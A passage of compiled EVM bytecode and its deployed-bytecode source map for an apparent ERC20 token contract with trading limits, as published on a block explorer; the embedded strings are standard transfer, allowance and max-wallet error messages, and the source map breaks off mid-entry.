0000000600052601160045260246000fd5b600061280f8261262e565b915061281a8361262e565b92508282026128288161262e565b915080821461283a576128396127d5565b5b5092915050565b600061284c8261262e565b91506128578361262e565b9250828201905060ff8111156128705761286f6127d5565b5b92915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006128ac6017836123fb565b91506128b782612876565b602082019050919050565b600060208201905081810360008301526128db8161289f565b9050919050565b6000815190506128f1816124d9565b92915050565b60006020828403121561290d5761290c6124a2565b5b600061291b848285016128e2565b91505092915050565b600060408201905061293960008301856126d2565b61294660208301846126d2565b9392505050565b6000819050919050565b6000819050919050565b600061297c6129776129728461294d565b612957565b612505565b9050919050565b61298c81612961565b82525050565b600060c0820190506129a760008301896126d2565b6129b460208301886125b1565b6129c16040830187612983565b6129ce6060830186612983565b6129db60808301856126d2565b6129e860a08301846125b1565b979650505050505050565b600081519050612a028161250f565b92915050565b600080600060608486031215612a2157612a206124a2565b5b6000612a2f868287016129f3565b9350506020612a40868287016129f3565b9250506040612a51868287016129f3565b9150509250925092565b6000604082019050612a7060008301856126d2565b612a7d60208301846125b1565b9392505050565b612a8d8161257b565b8114612a9857600080fd5b50565b600081519050612aaa81612a84565b92915050565b600060208284031215612ac657612ac56124a2565b5b6000612ad484828501612a9b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612b4682612505565b9150612b5183612505565b9250828201905080821115612b6957612b686127d5565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612ba4816124c7565b82525050565b6000612bb68383612b9b565b60208301905092915050565b6000602082019050919050565b6000612bda82612b6f565b612be48185612b7a565b9350612bef83612b8b565b8060005b83811015612c20578151612c078882612baa565b9750612c1283612bc2565b925050600181019050612bf3565b5085935050505092915050565b6000612c48612c43612c3e846124a7565b612957565b6124a7565b9050919050565b6000612c5a82612c2d565b9050919050565b6000612c6c82612c4f565b9050919050565b612c7c81612c61565b82525050565b600060a082019050612c9760008301886125b1565b612ca46020830187612983565b8181036040830152612cb68186612bcf565b9050612cc56060830185612c73565b612cd260808301846125b1565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612d386024836123fb565b9150612d4382612cdc565b604082019050919050565b60006020820190508181036000830152612d6781612d2b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612dca6022836123fb565b9150612dd582612d6e565b604082019050919050565b60006020820190508181036000830152612df981612dbd565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612e5c6025836123fb565b9150612e6782612e00565b604082019050919050565b60006020820190508181036000830152612e8b81612e4f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612eee6023836123fb565b9150612ef982612e92565b604082019050919050565b60006020820190508181036000830152612f1d81612ee1565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612f806029836123fb565b9150612f8b82612f24565b604082019050919050565b60006020820190508181036000830152612faf81612f73565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b60006130386049836123fb565b915061304382612fb6565b606082019050919050565b600060208201905081810360008301526130678161302b565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006130a46019836123fb565b91506130af8261306e565b602082019050919050565b600060208201905081810360008301526130d381613097565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613110601a836123fb565b915061311b826130da565b602082019050919050565b6000602082019050818103600083015261313f81613103565b9050919050565b600061315182612505565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613183576131826127d5565b5b600182019050919050565b600061319982612505565b91506131a483612505565b92508282039050818111156131bc576131bb6127d5565b5b92915050565b600060a0820190506131d760008301886125b1565b6131e46020830187612983565b81810360408301526131f68186612bcf565b905061320560608301856126d2565b61321260808301846125b1565b9695505050505050565b600061322782612505565b915061323283612505565b925082820261324081612505565b91508282048414831517613257576132566127d5565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061329882612505565b91506132a383612505565b9250826132b3576132b261325e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061331a6021836123fb565b9150613325826132be565b604082019050919050565b600060208201905081810360008301526133498161330d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613386601b836123fb565b915061339182613350565b602082019050919050565b600060208201905081810360008301526133b581613379565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200bd2d4fbf99a27b1e9005e837efc3d008b50a79ce1404a782ced07dc358f979764736f6c63430008130033

Deployed Bytecode Sourcemap

3636:8815:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5534:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6367:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4807:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5811:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6536:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5720:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12100:348;;;;;;;;;;;;;:::i;:::-;;11885:170;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5914:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2719:148;;;;;;;;;;;;;:::i;:::-;;10893:205;;;:::i;:::-;;4610:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2505:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4674:59;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5625:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6041:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4740:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3984:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11206:671;;;;;;;;;;;;;:::i;:::-;;10204:681;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6216:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5534:83;5571:13;5604:5;;;;;;;;;;;;;;;;;5597:12;;5534:83;:::o;6367:161::-;6442:4;6459:39;6468:12;:10;:12::i;:::-;6482:7;6491:6;6459:8;:39::i;:::-;6516:4;6509:11;;6367:161;;;;:::o;4807:54::-;;;;:::o;5811:95::-;5864:7;5891;;5884:14;;5811:95;:::o;6536:313::-;6634:4;6651:36;6661:6;6669:9;6680:6;6651:9;:36::i;:::-;6698:121;6707:6;6715:12;:10;:12::i;:::-;6729:89;6767:6;6729:89;;;;;;;;;;;;;;;;;:11;:19;6741:6;6729:19;;;;;;;;;;;;;;;:33;6749:12;:10;:12::i;:::-;6729:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6698:8;:121::i;:::-;6837:4;6830:11;;6536:313;;;;;:::o;5720:83::-;5761:5;4423:1;5779:16;;5720:83;:::o;12100:348::-;12164:10;;;;;;;;;;;12150:24;;:12;:10;:12::i;:::-;:24;;;12142:33;;;;;;12186:20;12207:24;12225:4;12207:9;:24::i;:::-;12186:45;;12258:1;12245:12;:14;12242:73;;;12273:30;12290:12;12273:16;:30::i;:::-;12242:73;12325:18;12344:21;12325:40;;12390:1;12379:10;:12;12376:65;;;12405:24;12418:10;12405:12;:24::i;:::-;12376:65;12131:317;;12100:348::o;11885:170::-;11976:10;;;;;;;;;;;11962:24;;:12;:10;:12::i;:::-;:24;;;11954:33;;;;;;12009:7;11996:12;:20;;;;12039:8;12025:13;:22;;;;11885:170;;:::o;5914:119::-;5980:7;6007:9;:18;6017:7;6007:18;;;;;;;;;;;;;;;;6000:25;;5914:119;;;:::o;2719:148::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2826:1:::1;2789:40;;2810:6;::::0;::::1;;;;;;;;2789:40;;;;;;;;;;;;2857:1;2840:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2719:148::o:0;10893:205::-;10966:10;;;;;;;;;;;10952:24;;:12;:10;:12::i;:::-;:24;;;10944:33;;;;;;11003:7;;10988:12;:22;;;;11038:7;;11021:14;:24;;;;11089:1;11084:2;4423:1;11072:14;;;;:::i;:::-;:18;;;;:::i;:::-;11056:34;;:13;:34;;;;10893:205::o;4610:57::-;;;;:::o;2505:79::-;2543:7;2570:6;;;;;;;;;;;2563:13;;2505:79;:::o;4674:59::-;;;;:::o;5625:87::-;5664:13;5697:7;;;;;;;;;;;;;;;;;5690:14;;5625:87;:::o;6041:167::-;6119:4;6136:42;6146:12;:10;:12::i;:::-;6160:9;6171:6;6136:9;:42::i;:::-;6196:4;6189:11;;6041:167;;;;:::o;4740:60::-;;;;:::o;3984:40::-;;;;;;;;;;;;;:::o;11206:671::-;2642:12;:10;:12::i;:::-;2632:22;;:6;;;;;;;;;;:22;;;2624:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11270:11:::1;::::0;::::1;;;;;;;;11269:12;11261:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11356:42;11319:15;;:80;;;;;;;;;;;;;;;;;;11410:58;11427:4;11442:15;;;;;;;;;;;11460:7;;11410:8;:58::i;:::-;11513:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11495:55;;;11559:4;11566:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11495:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11479:13;;:110;;;;;;;;;;;;;;;;;;11600:15;;;;;;;;;;;:31;;;11639:21;11670:4;11676:24;11694:4;11676:9;:24::i;:::-;11701:1;11703::::0;11705:7:::1;:5;:7::i;:::-;11713:15;11600:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11747:13;;;;;;;;;;;11740:29;;;11778:15;;;;;;;;;;;11796:14;11740:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11836:4;11822:11;;:18;;;;;;;;;;;;;;;;;;11865:4;11851:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;11206:671::o:0;10204:681::-;10291:10;;;;;;;;;;;10277:24;;:12;:10;:12::i;:::-;:24;;;10269:33;;;;;;10313:21;10351:1;10337:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10313:40;;10382:4;10364;10369:1;10364:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;10408:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10398:4;10403:1;10398:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;10469:11;10458:7;;:22;;;;;;;:::i;:::-;;;;;;;;10504:7;;10491:12;:20;;;;10537:7;;10522:14;:22;;;;10583:11;10555:9;:24;10573:4;10555:24;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;10660:11;10605;:26;10625:4;10605:26;;;;;;;;;;;;;;;:52;10640:15;;;;;;;;;;;10605:52;;;;;;;;;;;;;;;:66;;;;10684:15;;;;;;;;;;;:66;;;10765:11;10791:1;10807:4;10826:10;;;;;;;;;;;10851:15;10684:193;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10258:627;10204:681;:::o;6216:143::-;6297:7;6324:11;:18;6336:5;6324:18;;;;;;;;;;;;;;;:27;6343:7;6324:27;;;;;;;;;;;;;;;;6317:34;;6216:143;;;;:::o;260:98::-;313:7;340:10;333:17;;260:98;:::o;6857:335::-;6967:1;6950:19;;:5;:19;;;6942:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7048:1;7029:21;;:7;:21;;;7021:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7130:6;7100:11;:18;7112:5;7100:18;;;;;;;;;;;;;;;:27;7119:7;7100:27;;;;;;;;;;;;;;;:36;;;;7168:7;7152:32;;7161:5;7152:32;;;7177:6;7152:32;;;;;;:::i;:::-;;;;;;;;6857:335;;;:::o;7200:2399::-;7304:1;7288:18;;:4;:18;;;7280:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7381:1;7367:16;;:2;:16;;;7359:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7451:1;7442:6;:10;7434:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7509:17;7551:7;:5;:7::i;:::-;7543:15;;:4;:15;;;;:32;;;;;7568:7;:5;:7::i;:::-;7562:13;;:2;:13;;;;7543:32;7539:1704;;;7604:77;7677:3;7604:68;7627:15;;7616:9;;:26;;7615:56;;7657:14;;7615:56;;;7644:12;;7615:56;7604:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;7592:89;;7702:20;;;;;;;;;;;7698:508;;;7763:15;;;;;;;;;;;7749:30;;:2;:30;;;;:62;;;;;7797:13;;;;;;;;;;;7783:28;;:2;:28;;;;7749:62;7745:444;;;7947:12;7874:28;:39;7903:9;7874:39;;;;;;;;;;;;;;;;:85;7838:250;;;;;;;;;;;;:::i;:::-;;;;;;;;;8155:12;8113:28;:39;8142:9;8113:39;;;;;;;;;;;;;;;:54;;;;7745:444;7698:508;8234:13;;;;;;;;;;;8226:21;;:4;:21;;;:55;;;;;8265:15;;;;;;;;;;;8251:30;;:2;:30;;;;8226:55;:83;;;;;8287:18;:22;8306:2;8287:22;;;;;;;;;;;;;;;;;;;;;;;;;8285:24;8226:83;8222:313;;;8349:12;;8339:6;:22;;8331:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;8444:14;;8434:6;8418:13;8428:2;8418:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8410:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8508:9;;:11;;;;;;;;;:::i;:::-;;;;;;8222:313;8560:13;;;;;;;;;;;8554:19;;:2;:19;;;:43;;;;;8592:4;8577:20;;:4;:20;;;;8554:43;8551:175;;;8630:80;8706:3;8630:71;8653:16;;8642:9;;:27;;8641:59;;8685:15;;8641:59;;;8671:13;;8641:59;8630:6;:10;;:71;;;;:::i;:::-;:75;;:80;;;;:::i;:::-;8618:92;;8551:175;8742:28;8773:24;8791:4;8773:9;:24::i;:::-;8742:55;;8817:6;;;;;;;;;;;8816:7;:30;;;;;8833:13;;;;;;;;;;;8827:19;;:2;:19;;;8816:30;:45;;;;;8850:11;;;;;;;;;;;8816:45;:87;;;;;8886:17;;8865:20;:38;8816:87;:120;;;;;8918:18;;8907:9;;:29;;8816:120;8812:420;;;8957:67;8974:49;8978:6;8985:37;8989:20;9010:11;;8985:3;:37::i;:::-;8974:3;:49::i;:::-;8957:16;:67::i;:::-;9043:26;9072:21;9043:50;;9136:1;9115:18;:22;9112:105;;;9162:35;9175:21;9162:12;:35::i;:::-;9112:105;8938:294;8812:420;7577:1666;7539:1704;9268:1;9258:9;:11;9255:161;;;9308:39;9337:9;9308;:24;9326:4;9308:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9283:9;:24;9301:4;9283:24;;;;;;;;;;;;;;;:64;;;;9388:4;9365:39;;9374:4;9365:39;;;9394:9;9365:39;;;;;;:::i;:::-;;;;;;;;9255:161;9442:27;9462:6;9442:9;:15;9452:4;9442:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9426:9;:15;9436:4;9426:15;;;;;;;;;;;;;;;:43;;;;9494:40;9512:21;9523:9;9512:6;:10;;:21;;;;:::i;:::-;9494:9;:13;9504:2;9494:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9480:9;:13;9490:2;9480:13;;;;;;;;;;;;;;;:54;;;;9565:2;9550:41;;9559:4;9550:41;;;9569:21;9580:9;9569:6;:10;;:21;;;;:::i;:::-;9550:41;;;;;;:::i;:::-;;;;;;;;7269:2330;7200:2399;;;:::o;1397:190::-;1483:7;1516:1;1511;:6;;1519:12;1503:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1543:9;1559:1;1555;:5;;;;:::i;:::-;1543:17;;1578:1;1571:8;;;1397:190;;;;;:::o;9713:483::-;5152:4;5143:6;;:13;;;;;;;;;;;;;;;;;;9791:21:::1;9829:1;9815:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9791:40;;9860:4;9842;9847:1;9842:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9886:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9876:4;9881:1;9876:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9919:62;9936:4;9951:15;;;;;;;;;;;9969:11;9919:8;:62::i;:::-;9992:15;;;;;;;;;;;:66;;;10073:11;10099:1;10115:4;10142;10162:15;9992:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9780:416;5188:5:::0;5179:6;;:14;;;;;;;;;;;;;;;;;;9713:483;:::o;11106:92::-;11163:10;;;;;;;;;;;:19;;:27;11183:6;11163:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11106:92;:::o;1595:246::-;1653:7;1682:1;1677;:6;1673:47;;1707:1;1700:8;;;;1673:47;1730:9;1746:1;1742;:5;;;;:::i;:::-;1730:17;;1775:1;1770;1766;:5;;;;:::i;:::-;:10;1758:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1832:1;1825:8;;;1595:246;;;;;:::o;1849:132::-;1907:7;1934:39;1938:1;1941;1934:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1927:46;;1849:132;;;;:::o;9607:98::-;9664:7;9691:1;9689;:3;9688:9;;9696:1;9688:9;;;9694:1;9688:9;9681:16;;9607:98;;;;:::o;1066:179::-;1124:7;1144:9;1160:1;1156;:5;;;;:::i;:::-;1144:17;;1185:1;1180;:6;;1172:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1236:1;1229:8;;;1066:179;;;;:::o;1253:136::-;1311:7;1338:43;1342:1;1345;1338:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1331:50;;1253:136;;;;:::o;1989:189::-;2075:7;2107:1;2103;:5;2110:12;2095:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2134:9;2150:1;2146;:5;;;;:::i;:::-;2134:17;;2169:1;2162:8;;;1989:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:474::-;4921:6;4929;4978:2;4966:9;4957:7;4953:23;4949:32;4946:119;;;4984:79;;:::i;:::-;4946:119;5104:1;5129:53;5174:7;5165:6;5154:9;5150:22;5129:53;:::i;:::-;5119:63;;5075:117;5231:2;5257:53;5302:7;5293:6;5282:9;5278:22;5257:53;:::i;:::-;5247:63;;5202:118;4853:474;;;;;:::o;5333:329::-;5392:6;5441:2;5429:9;5420:7;5416:23;5412:32;5409:119;;;5447:79;;:::i;:::-;5409:119;5567:1;5592:53;5637:7;5628:6;5617:9;5613:22;5592:53;:::i;:::-;5582:63;;5538:117;5333:329;;;;:::o;5668:118::-;5755:24;5773:5;5755:24;:::i;:::-;5750:3;5743:37;5668:118;;:::o;5792:222::-;5885:4;5923:2;5912:9;5908:18;5900:26;;5936:71;6004:1;5993:9;5989:17;5980:6;5936:71;:::i;:::-;5792:222;;;;:::o;6020:329::-;6079:6;6128:2;6116:9;6107:7;6103:23;6099:32;6096:119;;;6134:79;;:::i;:::-;6096:119;6254:1;6279:53;6324:7;6315:6;6304:9;6300:22;6279:53;:::i;:::-;6269:63;;6225:117;6020:329;;;;:::o;6355:474::-;6423:6;6431;6480:2;6468:9;6459:7;6455:23;6451:32;6448:119;;;6486:79;;:::i;:::-;6448:119;6606:1;6631:53;6676:7;6667:6;6656:9;6652:22;6631:53;:::i;:::-;6621:63;;6577:117;6733:2;6759:53;6804:7;6795:6;6784:9;6780:22;6759:53;:::i;:::-;6749:63;;6704:118;6355:474;;;;;:::o;6835:182::-;6975:34;6971:1;6963:6;6959:14;6952:58;6835:182;:::o;7023:366::-;7165:3;7186:67;7250:2;7245:3;7186:67;:::i;:::-;7179:74;;7262:93;7351:3;7262:93;:::i;:::-;7380:2;7375:3;7371:12;7364:19;;7023:366;;;:::o;7395:419::-;7561:4;7599:2;7588:9;7584:18;7576:26;;7648:9;7642:4;7638:20;7634:1;7623:9;7619:17;7612:47;7676:131;7802:4;7676:131;:::i;:::-;7668:139;;7395:419;;;:::o;7820:180::-;7868:77;7865:1;7858:88;7965:4;7962:1;7955:15;7989:4;7986:1;7979:15;8006:271;8044:7;8067:18;8083:1;8067:18;:::i;:::-;8062:23;;8099:18;8115:1;8099:18;:::i;:::-;8094:23;;8152:1;8149;8145:9;8174:28;8190:11;8174:28;:::i;:::-;8163:39;;8234:11;8225:7;8222:24;8212:58;;8250:18;;:::i;:::-;8212:58;8052:225;8006:271;;;;:::o;8283:188::-;8321:3;8340:18;8356:1;8340:18;:::i;:::-;8335:23;;8372:18;8388:1;8372:18;:::i;:::-;8367:23;;8413:1;8410;8406:9;8399:16;;8436:4;8431:3;8428:13;8425:39;;;8444:18;;:::i;:::-;8425:39;8283:188;;;;:::o;8477:173::-;8617:25;8613:1;8605:6;8601:14;8594:49;8477:173;:::o;8656:366::-;8798:3;8819:67;8883:2;8878:3;8819:67;:::i;:::-;8812:74;;8895:93;8984:3;8895:93;:::i;:::-;9013:2;9008:3;9004:12;8997:19;;8656:366;;;:::o;9028:419::-;9194:4;9232:2;9221:9;9217:18;9209:26;;9281:9;9275:4;9271:20;9267:1;9256:9;9252:17;9245:47;9309:131;9435:4;9309:131;:::i;:::-;9301:139;;9028:419;;;:::o;9453:143::-;9510:5;9541:6;9535:13;9526:22;;9557:33;9584:5;9557:33;:::i;:::-;9453:143;;;;:::o;9602:351::-;9672:6;9721:2;9709:9;9700:7;9696:23;9692:32;9689:119;;;9727:79;;:::i;:::-;9689:119;9847:1;9872:64;9928:7;9919:6;9908:9;9904:22;9872:64;:::i;:::-;9862:74;;9818:128;9602:351;;;;:::o;9959:332::-;10080:4;10118:2;10107:9;10103:18;10095:26;;10131:71;10199:1;10188:9;10184:17;10175:6;10131:71;:::i;:::-;10212:72;10280:2;10269:9;10265:18;10256:6;10212:72;:::i;:::-;9959:332;;;;;:::o;10297:85::-;10342:7;10371:5;10360:16;;10297:85;;;:::o;10388:60::-;10416:3;10437:5;10430:12;;10388:60;;;:::o;10454:158::-;10512:9;10545:61;10563:42;10572:32;10598:5;10572:32;:::i;:::-;10563:42;:::i;:::-;10545:61;:::i;:::-;10532:74;;10454:158;;;:::o;10618:147::-;10713:45;10752:5;10713:45;:::i;:::-;10708:3;10701:58;10618:147;;:::o;10771:807::-;11020:4;11058:3;11047:9;11043:19;11035:27;;11072:71;11140:1;11129:9;11125:17;11116:6;11072:71;:::i;:::-;11153:72;11221:2;11210:9;11206:18;11197:6;11153:72;:::i;:::-;11235:80;11311:2;11300:9;11296:18;11287:6;11235:80;:::i;:::-;11325;11401:2;11390:9;11386:18;11377:6;11325:80;:::i;:::-;11415:73;11483:3;11472:9;11468:19;11459:6;11415:73;:::i;:::-;11498;11566:3;11555:9;11551:19;11542:6;11498:73;:::i;:::-;10771:807;;;;;;;;;:::o;11584:143::-;11641:5;11672:6;11666:13;11657:22;;11688:33;11715:5;11688:33;:::i;:::-;11584:143;;;;:::o;11733:663::-;11821:6;11829;11837;11886:2;11874:9;11865:7;11861:23;11857:32;11854:119;;;11892:79;;:::i;:::-;11854:119;12012:1;12037:64;12093:7;12084:6;12073:9;12069:22;12037:64;:::i;:::-;12027:74;;11983:128;12150:2;12176:64;12232:7;12223:6;12212:9;12208:22;12176:64;:::i;:::-;12166:74;;12121:129;12289:2;12315:64;12371:7;12362:6;12351:9;123